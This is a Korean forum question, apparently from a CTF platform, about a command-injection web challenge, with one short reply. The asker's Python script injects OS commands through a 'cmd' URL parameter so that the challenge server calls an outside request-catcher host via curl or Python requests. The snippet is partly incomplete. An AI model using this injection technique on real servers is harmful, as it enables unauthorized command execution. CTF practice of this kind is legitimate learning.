curl과 python의 차이

서버에서 실행하는 system 명령어(os.system(cmd))에 대한 결과를 확인하기 위해 curl과 python을 이용하여 두개의 요청을 보냈습니다!
그런데 python으로 한 요청의 결과 값이 오지 않는 이유를 모르겠습니다...
S_METHOD에는 GET 메소드 대신 사용할 메소드가 들어갔습니다.
cmd1을 통한 요청의 응답은 오지 않았고, cmd2를 통한 요청은 응답이 왔습니다

import requests
import os

link = "https://vmtpmuf.request.dreamhack.games"
cmd1 = f"python -c 'import requests; requests.get(\"{link}\")'"
cmd2 = "curl -v 'https://vmtpmuf.request.dreamhack.games'"
   
if __name__ == "__main__":
    chall_port = int(sys.argv[1])
    chall_url = f"http://host1.dreamhack.games:{chall_port}/?cmd={cmd}"
    #print(cmd)
    #print(chall_url)
    #os.system(cmd)
    response = requests.S_METHOD(chall_url)
    ```
#web
작성자 정보
답변 1
avatar
snwo
CTF First Place

curl 이 설치되지 않았나봐요

2022.05.27. 17:18
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기